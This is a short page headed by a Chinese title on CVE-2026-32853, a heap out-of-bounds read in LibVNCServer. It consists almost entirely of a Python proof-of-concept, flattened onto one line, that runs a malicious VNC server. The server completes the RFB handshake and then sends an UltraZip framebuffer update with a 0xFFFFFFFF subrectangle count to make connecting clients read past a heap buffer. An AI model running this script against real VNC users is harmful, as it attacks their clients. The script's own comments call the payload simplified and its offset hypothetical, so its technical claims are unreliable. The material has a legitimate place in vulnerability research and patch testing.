CVE-2026-32853 LibVNCServer 堆越界读取漏洞

import socket import struct # Proof of Concept for CVE-2026-32853 # This script acts as a malicious VNC server triggering the heap out-of-bounds read. def send_vnc_handshake(sock): # Protocol Version handshake sock.send(b"RFB 003.008\n") sock.recv(12) # Receive client version # Security types: None (1) sock.send(b"\x01\x01") sock.recv(1) # Client security selection # SecurityResult: OK (0) sock.send(b"\x00\x00\x00\x00") sock.recv(1) # ClientInit Shared flag # ServerInit: Fake dimensions and name framebuffer_width = 1024 framebuffer_height = 768 server_name = b"Exploit" msg = struct.pack("!HH16s", framebuffer_width, framebuffer_height, b"\x00" * 12) + struct.pack("!I", len(server_name)) + server_name sock.send(msg) def send_malicious_ultrazip(sock): # FramebufferUpdate message sock.send(b"\x00\x00\x00\x01") # Message type 0, padding # Rectangle header x, y = 0, 0 w, h = 100, 100 encoding = 16 # UltraZip encoding rect_header = struct.pack("!HHHHi", x, y, w, h, encoding) sock.send(rect_header) # Malicious UltraZip data # The vulnerability is triggered by manipulating subrectangle counts # causing HandleUltraZipBPP to read beyond the heap buffer. # Construct a payload with a high subrect count # Format: [Tile Header]... [Subrect Data] # Simplified payload structure demonstrating the trigger # In a real exploit, this would be carefully crafted to match the heap layout payload = b"\x00" * 24 # Minimal header # Manipulate the subrect count (hypothetical offset in the structure) # Setting a large number to force out-of-bounds read payload += struct.pack("!I", 0xFFFFFFFF) sock.send(payload) def run_exploit(ip, port): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((ip, port)) server.listen(1) print(f"[*] Listening on {ip}:{port}...") client, addr = server.accept() print(f"[*] Connection from {addr}") try: send_vnc_handshake(client) print("[*] Handshake complete.") # Trigger the vulnerability send_malicious_ultrazip(client) print("[*] Malicious UltraZip payload sent.") except Exception as e: print(f"[!] Error: {e}") finally: client.close() server.close() if __name__ == "__main__": run_exploit("0.0.0.0", 5900)